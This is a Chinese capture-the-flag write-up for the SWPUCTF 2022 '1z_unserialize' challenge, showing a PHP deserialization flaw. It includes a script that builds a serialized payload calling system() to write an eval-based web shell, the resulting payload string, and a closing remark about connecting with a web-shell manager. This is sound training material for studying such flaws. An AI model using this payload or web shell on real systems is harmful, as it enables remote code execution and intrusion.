目录

[SWPUCTF 2022 新生赛]1z_unserialize

目录

[SWPUCTF 2022 新生赛]1z_unserialize

题目:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?>  

__destruct 魔术方法在对象销毁时触发

1
2
$a = $this->lt;
$a($this->lly);

__destruct 方法里的代码的意思是将变量 $lt 的内容当作方法名,将变量 $lly 的内容当作给方法传递的值

尝试写入 WebShell :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
class lyh
{
    public $url = 'NSSCTF.com';
    public $lt = 'system';
    public $lly = 'echo "<?php highlight_file(__FILE__);eval(\$_POST[\'Lyrio\']);?>" > 1.php';
}
$obj = new lyh();
echo serialize($obj);
?>

得到字符序列:

1
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:71:"echo "<?php highlight_file(__FILE__);eval(\$_POST['Lyrio']);?>" > 1.php";}

POST 提交:

https://pic.imgdb.cn/item/657eff08c458853aef0f283c.jpg

访问一下 1.php ,成功写入 WebShell:

https://pic.imgdb.cn/item/657eff47c458853aef102686.jpg

最后用 WebShell 管理工具连接,在根目录找到 flag